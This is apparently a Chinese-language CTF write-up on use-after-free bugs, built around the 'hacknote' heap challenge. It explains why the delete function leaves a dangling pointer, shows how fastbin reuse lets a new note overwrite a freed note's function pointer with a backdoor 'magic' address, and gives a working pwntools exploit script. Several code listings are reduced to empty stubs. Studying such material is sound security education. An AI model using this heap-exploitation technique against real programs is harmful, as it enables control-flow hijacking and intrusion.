0x01 原理
uaf即use after free,也就是free后并没有将指针变量置为NULL,然后就可以再次使用那块内存。主要情况有:
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
0x02 例子
1 |
|
运行结果如下
1 | ➜ use_after_free git:(use_after_free) ✗ ./use_after_free |
0x03 例题
根据题目我们可以看出程序最多添加5个note。每个note有两个字段,第一个是存储打印函数的地址,另一个是存储内内容的地址。
add_note
这个函数是向node_list中添加一个note。
1 | unsigned int add_note() |
print_note
用node字段的第一个位置存的print_node函数将第二位置存储的content打印出来。
1 | unsigned int print_note() |
delete_note
delete_note 会根据给定的索引释放note。但是只是单纯的进行了free,而并没有设置为NULL,那么显然这里是存在uaf的。
1 | unsigned int del_note() |
0x03 利用分析
很直接的思路,将note的put函数字段改为后门函数magic函数的地址,从而实现在执行 pirnt node 的时候执行 magic 函数。所以我们必须利用写content 的时候来进行覆盖。具体采用的思路如下。
- 申请 note0, real content size 为 32 (大小与note大小所在的bin不一样即可)
- 申请 note1, real content size 为 32 (大小与 note 大小所在的bin不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为16的 fast bin chunk 中链表为note1->note0
- 申请note2, 并设置real content的大小为8,那么根据堆的分配规则
- note2 其实会分配 note1 对应的堆块。
- real content 对应的chunk其实是note0。
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用magic函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
0x04
总结一下思路
- 劫持函数地址
- 利用堆分配的机制,也就是malloc优先分配刚刚free过的相同大小的chunk。利用这一点,将chunk0的内存分配给chunk3 的content
- 利用uaf向已经被free掉的内存中写入数据。
- 成功劫持函数。